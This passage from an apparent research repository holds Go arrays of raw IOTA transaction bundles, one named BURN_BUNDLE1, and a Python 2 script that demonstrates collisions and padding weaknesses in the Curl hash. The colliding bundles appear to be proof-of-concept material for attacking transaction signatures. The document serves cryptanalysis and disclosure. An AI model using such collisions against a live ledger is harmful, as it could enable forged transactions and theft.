NMPRLSUACDYUPUXKFBIFZIGLRUGRJVXASHIMRQMDWYDRSXWMUXWBAAFNEIJPZYFEWQQCDSYQVALWNMMQFXELHRHPJVOTYNHGHGHXGZEDKPBFCKXAUBTXHYYCHCZDYQFQDLEILCCOFOIRREXZQJMOKBBHSV9W9ROBCHMLQUFEJLZVS99IJQWXQKDI9JMXIRSM9GJCDHCFQXPYPYTCMFBF9DBTHTDSDWHIIWKUKGNTTJHHLOCWNKVKKJA9UMDAYFINZJXHUPLHZSFXYWCBUBXMGRXZYZDVZQWDNVTOPIJ9OCNYPUYOSYRQ9CJTBVLUFNNNHBLD9UWMQ9AZEXKRTAIBLEIMUSSFY9NWSTQTCGZCLPPHBUWXLQZZINXGKGMGBVUCGRKGHVHTBZQEUXXP9TZTVGVOBAWGHXZBEJXUM9SDF9AUDRDTVM9OLUUKBKRILDDXS9IACTQDCVGCOEELTYAVTQWZOSZXDRGSLIANMTAZMBNWGFWTADZIRWPORWMXNVMAZFWOXXTN9QHYZVRWLNUQFLXVAXCLVGUQEZOXX9GNGDGQYRHWHVFZBHGTCMZNDEIUUW9WCLCBXJRRWWAGYYL9MFRYMGEYFVZBGXLZWQVPLAORHRHKBZRK9RFPVYCFY9OGZTUIMRCFUKECNVAUDEVMPFALFLOCJAFPP9ZJQSWKPDEUKYLQEHRKBZFAZNT9KAHCBTMXRUVTIZQF9TCPXTVHWOFGFDSHWHMOQPJIMQRHZIRUCBCGKBOCLCFNFOIZDMOMVHTNIOPWWBVVXXEREZYQDQOLNCZTHIHXYJYXNLOJFRCESLW9GFPWVGIVFIRZXPWKWBJRLMDKANZNHXZERMRR9GYSPXRHGYFTGSA9PTIYIIESAVYBKSDBLENGJVJMBTBVLGYLOLUBEJAOJTZJBVEEX9RVCWYQL99TAJNQ9WJOGGGXQRWLQQUACRSBPTURELEFLFVSJEEGCFRKECKYGIKAUJI9XQDFVZXPPQCQGTJWBVIH9GNZWZZEMSMWLP99XPPKTAMEJTXUDFSJIYRGRSZJFBGEHPEREIVAKWEGLJNIUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQNZLBSOPY99999999999999999999IOTFORALL999999999999999999QONOPXD99A99999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLBEDGIMHMPIBKDRBMVHLGWVIKHXRYAMRHDMXMCKKECVTILEKQPLU9REKU9EPFBBUJFLKKSXZRHYBYE99999999999999999999999999999999999999999999999999999999999999999999999999999999999999LSOHCSYKWXYECPTHKLODD9SMCWWHFSYPP9SISSTYAHCSWTTHGIU9ZDQURAGHZSMOCD9UFXLONCPPEPROK", 13 | "AZZOAMZUHGXDUOIHRAUMIHKXGGHHEQQMIWC9YJEOBBSGHSPAEOMETB9KJYWY9JAAIBATGBLJKSGOJRESIBAMUXJZQPBYUPLIXRVJKEXWLZCTKLFAHDTIGCZLAKNPDDBPNTBLOZWUUORDJRHQRG9JUDXM9TFJPBTGZU9SLYDSVXUJFOVXATDNAVKMYMKISIBFZUGXURFMUXAMSRSSIPJJMNWFNIIYXDTTGRSJAG9GVNNISICGT9NNOBNL9KVUAH9XSFIRQCE9CZZKWYUYXBFP9ALYIBGYIIAZLJGWOTPXQYDWYNZVHBHDMMIQSSIQBQLMGSQZZCOVTZJRAPHNZEQEIOQRDXBUCTTSNITUUJBINBKN9WELKCICGRPZQVGWXPQDPBSIOTOCQEHPUKVQFEYFBZETIDDQPZU9BICHVWAKVWZLURDLMMHRNGFGHLTBGSWSMBFLSAUMKFRHIBEKMBHYXJGILSANILBADYTRFFA9YEKXLHPYF99OAATJLSDRPIBWKIEHAWEZRWGSZTIQVFWSDZFCNGYBKOOIQSX9MWLKXYV9OJALEXRCRACJGELZGMHABAARWWUZTXANVJWSIEVDYTDUODPWFSZRSTIGKQKFSKLRGOY9MVDLRJCEIBLTVQCKSAEWNJIIQHTXKERPYY9KYQW9MUHJLXEKAEH9WHJCBKMMCPCTDCSHGCBLFCFVHETFPASMMWLFTOAWRXQUTEEXQRWPQDPQLCQVADCOH9NHZFQVZBHFXTTXFOLTUUGGYDPFQNUULSHIGEBKQMDBOCSNQGRSWMGSUVOOLWGLYAWYENOGLYJJVMNHG9VLCPLAVEYIYU9JQAUTI9KCYBFGEMMLQRFQYNQHYGZINBNTDQVACCOCJIOYDDB9ZKUJHZFHCSTYICHRPWMYYRUODWLNGQSFOWLTEJ9HGWHDJEDAPAQPJCKZ9QEVVUNRRPVCZGZPDOFYZFYUZFGUZQJCNBHALHIABDCT9GWOAIVDS9KKXPEQSTV9TWCTOEUFJIWGG9BGPSWZ9GMWWTAIVOPXCAIHCCYPZVAWTRPYA9M9NMPMDZHHFJXORIHIRKVVDSE9SKOLGPUGCIVAYEYERGILSGLWVLSKCRJWLRLCNZZBZ9N9ECFIDCTOLDAVJF9LUQKCTKUXLM9VUMVRBPPRJWXPDNGTBW9VLMIQVNCVSHLFTD9CLTCYBXNYTXMJEAA9YRVBTMDVKFSNKIGRAEDNCXTHGNVCVRSJTZTFAWJLSXFFOKHGYIRFRBHJOBN9SBPXLDCBMBXVYMLMV9QILNSG9OQWZWUUBDQQVFUCMFGNJLCZELGVXTKVYSFEZZHJGZJLNPHYXHKBW9P9LVFUDRHFPVOI9LWCZPYXMSCDSWNHHNYYSLWTYMWVZJXTZERJIITODWAZSJP9LENIJNPNDND9JDWTWK9SNYIQITBMHBXZHIAFNES9FTPQWVZKLMDVJKHAGUR9MTDOYRZRVQBOT9CRBWOKZBUEFLDZLLCXWKTRONBLTJ9GRMQTOCTTSKWAYGBTNDFG9BWIQGTPOXBZPPEPSZD9REOGLAREBTQJGJDBXZBIIZOFFDNBRNQFZNFSDH9NTKTKTXOPRZZGYWPVEFQHIZSBGDLICHPAPSLXNCQMMMN9JOAPKGMJDFAHAALWZRHRZCDNUMMYHWFWWVRRLWGJ9M9HRZFKGNUDOCINHUOGBKDUFBGNMXIYYULCCQWGCETCNVTPKBUIMAJBOUCAUVFVKO9PTKB9XORQXHPCVGVHNBZCABJNGNDRZALIXWBHRAWLYOVPNEOGTCSXCFTQCFBIQOUCTRCKSHPJYGXVOGKZFUID9UTNTHHHPUZOUGBTRDIJDJYAFLSGZNQQ9MKDBXSTELCSEPOME9SXYPTOATRDCKTEWJXNYWEPRGUCSXMILODMO9LBZEPC9QLDYYTSSKCVNAHQBPJCMLOZVTRCFEGCU9ZHK9VKLJLVOJCTMDBEAVGCOCYMBFJJSADVSLBNYTPNWDY9CEDTKLTLI9DVYXJKKCF9NS9AUCNKNCBTJLWJQXKSCGRTMCRVKPQXJMLCPTLUBNM9JPKYQXPFLDFTZBCJUAWOBWDS9WJVWOYHHFHUPMUJBZQDUWDDODRCEAPHYTAJXERJHA9VNLWMOAOBPWVVBOSIXBWJWTNQXBMBPHYY9LODFTETJUSVNVUTLYIXXAA9VPGUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQN999999999999999999999999999OIWIKARHXINUDPCAKJPWE9KLQQWQONOPXD99B99999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLBRWNYGRUPLIIFDKKOS9ZLNRUHFXTKNEMHNBCJTZTIXYEMFGKDGLU9BDFXKMPPWIZCHXWYRXPGLDJZ99999999999999999999999999999999999999999999999999999999999999999999999999999999999999RRCMVPHUBRSRAS9DHXTJ9UEMJOWHLPCECP9FQQOFLOWYOMSMFAWELLTU9FZ9LVHALTB9H9SNXUTFYMTCO", 14 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999FHCLCTGISPCIDWQYNQYKZZZRR9CXJPFNIPCITNCVVYINBXEYFEYKXGETCZMIQJBMBZBOMSDVFPAXR9OBNEZJELKB99999999999999999999IOTFORALL999999999999999999VRNOPXD99C99999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLB999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999PRWBZGIJFWAPFKZBNHSNCRXOVCSUDEUCVNXSELYDGJWUFAEZCCAIQPFJMQOWSKM9YLGPLOVSFY9FMOCQR", 15 | } 16 | 17 | // BUNDLE 1 transaction hashes: 18 | // 19 | // IQEMEICJIREQOMNYYUTRJAKCRGSXECADYKYBQJ9OJXI9FNNZOWKKRVKKXJTBCYNIJSZNBDDYINWU99999 20 | // UVFIJRFOGR9MUWPBJCGSUYIOL9KFXMYXGSJQ9AXQTCWESFGDVRBDREIUHURCIJUBKIBPACTNTQPJ99999 21 | // DQKUXWGQDQXSROL9XNNYMMESP9YCXDQAXRBG9DXGVSBHLNXGQKBVFFUCEUHMKCTJQPMLJZDLVRBO99999 22 | // AXNROPYOSAHUZEPPIWTYNZTQBVNRLLXZRNFSGUTEOGLGTUJSNSUAULMVOMQPUPVUGSZIOEJPWJQG99999 23 | 24 | var BURN_BUNDLE1 []string = []string{ 25 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999ROQDJLWUDUXBKHJ9PNUPEBYLSJTSAT9RCKFVTCJFDUKHZJUDSSTELTIRA9DHKPUZTGSHAZNJKOFFKAXXPWPOC99999999999999999999999IOTFORALL999999999999999999QONOPXD99999999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLBUVFIJRFOGR9MUWPBJCGSUYIOL9KFXMYXGSJQ9AXQTCWESFGDVRBDREIUHURCIJUBKIBPACTNTQPJ99999999999999999999999999999999999999999999999999999999999999999999999999999999999999AKKSAQHLAIHHRVEBB9DWBFYQSTTTDYUAPXXFRNEFWYCKHWJRIVH9VIF9JXMKVJEFVEIOWSSQJFVVRMBKE", 26 | "T9ENXSCXESWBKWAEZYAXTH9F9MXIIQQFAOOBKWFPNIPNNLPGGQTEITPVPHD9NYROGXCXZFSDVGNNAVHXYDJWLDNHRCOPUVIQJKAUUOQGKXETJKAQYMEAVBCDMCLEWZBBBOQHHEUFTOTLGCYLGSYR9NGZJERVVBPLKTAKDKZIZYGTLLAURPPZ9RBDTNITEHJESGCCILZGLZGHELDGQUYGLAXSMHAXKXKVZMEPXJXEU9EEQE9NOESANDTPG9VXDGAMDCSQXIZ9TMYHJINFZJMFHNBYVKUFYUVOMVWIVDOR9GQKIDDXMVTTYFSQSBTBCURPHSTQEKIDZKAWOAIXIOSRJUAWF9FYGSECKATVXMTFMTZTHIWZGGHHRZH9TCWBJICIFXPUGRPVQVWLQBYWBSOLPFLPADJFEWKCEZUCKELTBQHAZPKK9JOZNZTYTUSGCXELQBMKOYPHWPAXQO9RJOFZBSUNNINQGPQWPQIF9DSFDABVHV99NBEJHXGOBGZJDYQNGDWSSSPBXRLCDWIEWRWUIBDGBP9VKDXUQPOHWHBDXZEE9XCHQKKAVEOPFT9OQCP9FWXMBZZKHA9WAZTQPTGDEDZSUQYBBQFMUXYK9XHGOT9PIF99MABTFNOKBQNLBZX9KLWIQWXJNNEME9OLEBIACIPEDNNRNOQOVCJV9LTVZBJ9BFQRTEYPNCHSFRUGINUTFMQAN9AYRXURAYYFEJSAD9MSFWFHZEARJVFWXKQBBNF9XDIUZNYTZCIQXWFHUNMVZHCLZDMDASETYGMVP9AAUJUPWV9OZYNBAZNNLK9XPZWWWEYMHSV9TIAWEQFFEFIGDKRITLQFNTUF9UTBQXQKFUJXOHUCDSWBYMPOOLJBHUSQFSNPYHPGDPQOSLWJWYQXZCLNIRGKVNXUTBKUIHSKHJIIC9GWYTUOFVTEN9GUCWBEMYLZYUPJGGD9FZ9SHEGELULYIJRX9PMDEYAVLBTFZARAUNCBNDKUKQGONPWIQRDWH9LNADANVLZ9CXCLCSDQQFGVKMUWJIRDYJBKDWPUSBQWBKBPIBGFFXTPCQCDCAAMOEUMXGZKVXUTXWAHBXFED9NDOGIDVEWRSFQMRYLQPSYIEGOPC9OUYBXNMPRLSUACDYUPUXKFBIFZIGLRUGRJVXASHIMRQMDWYDRSXWMUXWBAAFNEIJPZYFEWQQCDSYQVALWNMMQFXELHRHPJVOTYNHGHGHXGZEDKPBFCKXAUBTXHYYCHCZDYQFQDLEILCCOFOIRREXZQJMOKBBHSV9W9ROBCHMLQUFEJLZVS99IJQWXQKDI9JMXIRSM9GJCDHCFQXPYPYTCMFBF9DBTHTDSDWHIIWKUKGNTTJHHLOCWNKVKKJA9UMDAYFINZJXHUPLHZSFXYWCBUBXMGRXZYZDVZQWDNVTOPIJ9OCNYPUYOSYRQ9CJTBVLUFNNNHBLD9UWMQ9AZEXKRTAIBLEIMUSSFY9NWSTQTCGZCLPPHBUWXLQZZINXGKGMGBVUCGRKGHVHTBZQEUXXP9TZTVGVOBAWGHXZBEJXUM9SDF9AUDRDTVM9OLUUKBKRILDDXS9IACTQDCVGCOEELTYAVTQWZOSZXDRGSLIANMTAZMBNWGFWTADZIRWPORWMXNVMAZFWOXXTN9QHYZVRWLNUQFLXVAXCLVGUQEZOXX9GNGDGQYRHWHVFZBHGTCMZNDEIUUW9WCLCBXJRRWWAGYYL9MFRYMGEYFVZBGXLZWQVPLAORHRHKBZRK9RFPVYCFY9OGZTUIMRCFUKECNVAUDEVMPFALFLOCJAFPP9ZJQSWKPDEUKYLQEHRKBZFAZNT9KAHCBTMXRUVTIZQF9TCPXTVHWOFGFDSHWHMOQPJIMQRHZIRUCBCGKBOCLCFNFOIZDMOMVHTNIOPWWBVVXXEREZYQDQOLNCZTHIHXYJYXNLOJFRCESLW9GFPWVGIVFIRZXPWKWBJRLMDKANZNHXZERMRR9GYSPXRHGYFTGSA9PTIYIIESAVYBKSDBLENGJVJMBTBVLGYLOLUBEJAOJTZJBVEEX9RVCWYQL99TAJNQ9WJOGGGXQRWLQQUACRSBPTURELEFLFVSJEEGCFRKECKYGIKAUJI9XQDFVZXPPQCQGTJWBVIH9GNZWZZEMSMWLP99XPPKTAMEJTXUDFSJIYRGRSZJFBGEHPEREIVAKWEGLJNIUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQNZLBSOPY99999999999999999999IOTFORALL999999999999999999QONOPXD99A99999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLBDQKUXWGQDQXSROL9XNNYMMESP9YCXDQAXRBG9DXGVSBHLNXGQKBVFFUCEUHMKCTJQPMLJZDLVRBO99999999999999999999999999999999999999999999999999999999999999999999999999999999999999NINQDSYKWXYECPTHKLODD9SMCWWHFSYPP9SISSTYAHCSWTTHGIU9ZDGWRAGHZSMOCD9UFXLONCPPEPROK", 27 | "AZZOAMZUHGXDUOIHRAUMIHKXGGHHEQQMIWC9YJEOBBSGHSPAEOMETB9KJYWY9JAAIBATGBLJKSGOJRESIBAMUXJZQPBYUPLIXRVJKEXWLZCTKLFAHDTIGCZLAKNPDDBPNTBLOZWUUORDJRHQRG9JUDXM9TFJPBTGZU9SLYDSVXUJFOVXATDNAVKMYMKISIBFZUGXURFMUXAMSRSSIPJJMNWFNIIYXDTTGRSJAG9GVNNISICGT9NNOBNL9KVUAH9XSFIRQCE9CZZKWYUYXBFP9ALYIBGYIIAZLJGWOTPXQYDWYNZVHBHDMMIQSSIQBQLMGSQZZCOVTZJRAPHNZEQEIOQRDXBUCTTSNITUUJBINBKN9WELKCICGRPZQVGWXPQDPBSIOTOCQEHPUKVQFEYFBZETIDDQPZU9BICHVWAKVWZLURDLMMHRNGFGHLTBGSWSMBFLSAUMKFRHIBEKMBHYXJGILSANILBADYTRFFA9YEKXLHPYF99OAATJLSDRPIBWKIEHAWEZRWGSZTIQVFWSDZFCNGYBKOOIQSX9MWLKXYV9OJALEXRCRACJGELZGMHABAARWWUZTXANVJWSIEVDYTDUODPWFSZRSTIGKQKFSKLRGOY9MVDLRJCEIBLTVQCKSAEWNJIIQHTXKERPYY9KYQW9MUHJLXEKAEH9WHJCBKMMCPCTDCSHGCBLFCFVHETFPASMMWLFTOAWRXQUTEEXQRWPQDPQLCQVADCOH9NHZFQVZBHFXTTXFOLTUUGGYDPFQNUULSHIGEBKQMDBOCSNQGRSWMGSUVOOLWGLYAWYENOGLYJJVMNHG9VLCPLAVEYIYU9JQAUTI9KCYBFGEMMLQRFQYNQHYGZINBNTDQVACCOCJIOYDDB9ZKUJHZFHCSTYICHRPWMYYRUODWLNGQSFOWLTEJ9HGWHDJEDAPAQPJCKZ9QEVVUNRRPVCZGZPDOFYZFYUZFGUZQJCNBHALHIABDCT9GWOAIVDS9KKXPEQSTV9TWCTOEUFJIWGG9BGPSWZ9GMWWTAIVOPXCAIHCCYPZVAWTRPYA9M9NMPMDZHHFJXORIHIRKVVDSE9SKOLGPUGCIVAYEYERGILSGLWVLSKCRJWLRLCNZZBZ9N9ECFIDCTOLDAVJF9LUQKCTKUXLM9VUMVRBPPRJWXPDNGTBW9VLMIQVNCVSHLFTD9CLTCYBXNYTXMJEAA9YRVBTMDVKFSNKIGRAEDNCXTHGNVCVRSJTZTFAWJLSXFFOKHGYIRFRBHJOBN9SBPXLDCBMBXVYMLMV9QILNSG9OQWZWUUBDQQVFUCMFGNJLCZELGVXTKVYSFEZZHJGZJLNPHYXHKBW9P9LVFUDRHFPVOI9LWCZPYXMSCDSWNHHNYYSLWTYMWVZJXTZERJIITODWAZSJP9LENIJNPNDND9JDWTWK9SNYIQITBMHBXZHIAFNES9FTPQWVZKLMDVJKHAGUR9MTDOYRZRVQBOT9CRBWOKZBUEFLDZLLCXWKTRONBLTJ9GRMQTOCTTSKWAYGBTNDFG9BWIQGTPOXBZPPEPSZD9REOGLAREBTQJGJDBXZBIIZOFFDNBRNQFZNFSDH9NTKTKTXOPRZZGYWPVEFQHIZSBGDLICHPAPSLXNCQMMMN9JOAPKGMJDFAHAALWZRHRZCDNUMMYHWFWWVRRLWGJ9M9HRZFKGNUDOCINHUOGBKDUFBGNMXIYYULCCQWGCETCNVTPKBUIMAJBOUCAUVFVKO9PTKB9XORQXHPCVGVHNBZCABJNGNDRZALIXWBHRAWLYOVPNEOGTCSXCFTQCFBIQOUCTRCKSHPJYGXVOGKZFUID9UTNTHHHPUZOUGBTRDIJDJYAFLSGZNQQ9MKDBXSTELCSEPOME9SXYPTOATRDCKTEWJXNYWEPRGUCSXMILODMO9LBZEPC9QLDYYTSSKCVNAHQBPJCMLOZVTRCFEGCU9ZHK9VKLJLVOJCTMDBEAVGCOCYMBFJJSADVSLBNYTPNWDY9CEDTKLTLI9DVYXJKKCF9NS9AUCNKNCBTJLWJQXKSCGRTMCRVKPQXJMLCPTLUBNM9JPKYQXPFLDFTZBCJUAWOBWDS9WJVWOYHHFHUPMUJBZQDUWDDODRCEAPHYTAJXERJHA9VNLWMOAOBPWVVBOSIXBWJWTNQXBMBPHYY9LODFTETJUSVNVUTLYIXXAA9VPGUBUWDAFWZFWVDIQBTBALLKSQPEFPWGWZKYDO9QWB9FHQMOAONYMQU9AQOOJHDJCWGXBIOJGFQKGSSOFQN999999999999999999999999999OIWIKARHXINUDPCAKJPWE9KLQQWQONOPXD99B99999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLBAXNROPYOSAHUZEPPIWTYNZTQBVNRLLXZRNFSGUTEOGLGTUJSNSUAULMVOMQPUPVUGSZIOEJPWJQG99999999999999999999999999999999999999999999999999999999999999999999999999999999999999COFRVPHUBRSRAS9DHXTJ9UEMJOWHLPCECP9FQQOFLOWYOMSMFAWELLOV9FZ9LVHALTB9H9SNXUTFYMTCO", 28 | "999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999FHCLCTGISPCIDWQYNQYKZZZRS9CXJPFNIPCITNCVVYINBXEYFEYKXGETCZMIQJBMBZBOMSDVFPAXR9OBNEZJELKB99999999999999999999IOTFORALL999999999999999999VRNOPXD99C99999999C99999999UXOTHHZPYHAKLQNOYGHUFDNIQORRPQVRXQPVCZEWEMPHVIJB9OJIDB99ZJAZLFMXNOKBRSDG9HXSOLGLB999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999JSNUYGIJFWAPFKZBNHSNCRXOVCSUDEUCVNXSELYDGJWUFAEZCCAIQPXLMQOWSKM9YLGPLOVSFY9FMOCQR", 29 | } 30 | -------------------------------------------------------------------------------- /examples/curlexamples.py: -------------------------------------------------------------------------------- 1 | from iota import TryteString 2 | from iota.crypto.pycurl import Curl 3 | from random import randint 4 | 5 | 6 | def H(msg): 7 | out = [] 8 | sponge = Curl() 9 | sponge.absorb(TryteString(msg).as_trits()) 10 | sponge.squeeze(out) 11 | return TryteString.from_trits(out) 12 | 13 | 14 | def simplecol(): 15 | msg1 = b'999999999999999999999999999999999999999999999999999999999999999999999999999999999' 16 | msg2 = b'999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999999' 17 | hash1 = H(msg1) 18 | hash2 = H(msg2) 19 | print hash1 20 | print hash2 21 | print hash1 == hash2, msg1 == msg2 22 | 23 | 24 | def prefixcol(): 25 | msg1 = b'KXRVLFETGUTUWBCNCC9DWO99JQTEI9YXVOZHWELSYP9SG9KN9WCKXOVTEFHFH9EFZJKFYCZKQPPBXYSGJ' 26 | msg2 = b'999999999999999999999999999999999999999999999999999999999999999999999999999999999KXRVLFETGUTUWBCNCC9DWO99JQTEI9YXVOZHWELSYP9SG9KN9WCKXOVTEFHFH9EFZJKFYCZKQPPBXYSGJ' 27 | hash1 = H(msg1) 28 | hash2 = H(msg2) 29 | print hash1 30 | print hash2 31 | print hash1 == hash2, msg1 == msg2 32 | 33 | def paddingshortcol(): 34 | msg1 = b'RSWWSFXPQJUBJROQBRQZWZXZJWMUBVIVMHPPTYSNW9YQIQQF9RCSJJCVZG9ZWITXNCSBBDHEEKDRBHV' 35 | msg2 = b'RSWWSFXPQJUBJROQBRQZWZXZJWMUBVIVMHPPTYSNW9YQIQQF9RCSJJCVZG9ZWITXNCSBBDHEEKDRBHV9' 36 | msg3 = b'RSWWSFXPQJUBJROQBRQZWZXZJWMUBVIVMHPPTYSNW9YQIQQF9RCSJJCVZG9ZWITXNCSBBDHEEKDRBHV99' 37 | 38 | hash1 = H(msg1) 39 | hash2 = H(msg2) 40 | hash3 = H(msg3) 41 | 42 | print hash1 43 | print hash2 44 | print hash3 45 | 46 | print hash1 == hash2 == hash3, msg1 == msg2, msg2 == msg3 47 | 48 | def paddinglongcol(): 49 | msg1 = b'IWASFLYINGINVERTEDNAARIPONBWXUOQUFGNOCUSSLYWKOZMZUKLNITZIFXFWQAYVJCVMDTRSHORGNSTKX9Z9DLWNHZSMNOYTU9AUCGYBVIITEPEKIXBCOFCMQPBGXYJKSHPXNUKFTXIJVYRFILAVXEWTUICZCYYPCKENNYLOGGINS' 50 | msg2 = b'IWASFLYINGINVERTEDNAARIPONBWXUOQUFGNOCUSSLYWKOZMZUKLNITZIFXFWQAYVJCVMDTRSHORGNSTKX9Z9DLWNHZSMNOYTU9AUCGYBVIITEPEKIXBCOFCMQPBGXYJKSHPXNUKFTXIJVYRFILAVXEWTUICZCYYPCKENNYLOGGINSSMJFFCW' 51 | print len(msg1)%81 52 | hash1 = H(msg1) 53 | hash2 = H(msg2) 54 | 55 | print hash1 56 | print hash2 57 | 58 | print hash1 == hash2, msg1 == msg2 59 | print hash1, hash2 60 | 61 | def shortcol(): 62 | msg1 = b'RETHT9ES9HRCUITBHVCUHOBPUUUHT9PHLUNWRWGKBKF9YUMDWRXTRVGZHFZEHGATZXZAUPGVEKNMQXFVRXHF9QJQHUTILIPIXUYRVSJEIOJDRIUVWMUABSIKIBAKENE9KVFJUEQUHFRVGELFGJIDXQARWH99XTORHXRETHT9ES9HRCUITBHVCUHOBPUUUHT9PHLUNWRWGKBKF9YUMDWRXTRVGZHFZEHGATZXZAUPGVEKNMQXFVR' 63 | msg2 = b'RETHT9ES9HRCUITBHVCUHOBPUUUHT9PHLUNWRWGKBKF9YUMDWRXTRVGZHFZEHGATZXZAUPGVEKNMQXFVRXHF9QJQHUTILIPIXUYRVSJEIPJDRIUVWMUABSIKIBAKENE9KVFJUEQUHFRVGELFGJIDXQARWH99XTORHXRETHT9ES9HRCUITBHVCUHOBPUUUHT9PHLUNWRWGKBKF9YUMDWRXTRVGZHFZEHGATZXZAUPGVEKNMQXFVR' 64 | 65 | hash1 = H(msg1) 66 | hash2 = H(msg2) 67 | 68 | print hash1 69 | print hash2 70 | 71 | print hash1 == hash2, msg1 == msg2 72 | 73 | def shiftedmsgs(): 74 | 75 | msg1 = b'9999KENNYLOGGINS99999999999999999999999999999999999999999999999999999999999999999' 76 | msg2 = b'9KENNYLOGGINS99999999999999999999999999999999999999999999999999999999999999999999' 77 | 78 | hash1 = H(msg1) 79 | hash2 = H(msg2) 80 | 81 | print "".join(["9"]*81) 82 | print hash1 83 | print hash2 84 | 85 | simplecol() 86 | prefixcol() 87 | paddingshortcol() 88 | paddinglongcol() 89 | shiftedmsgs() 90 | 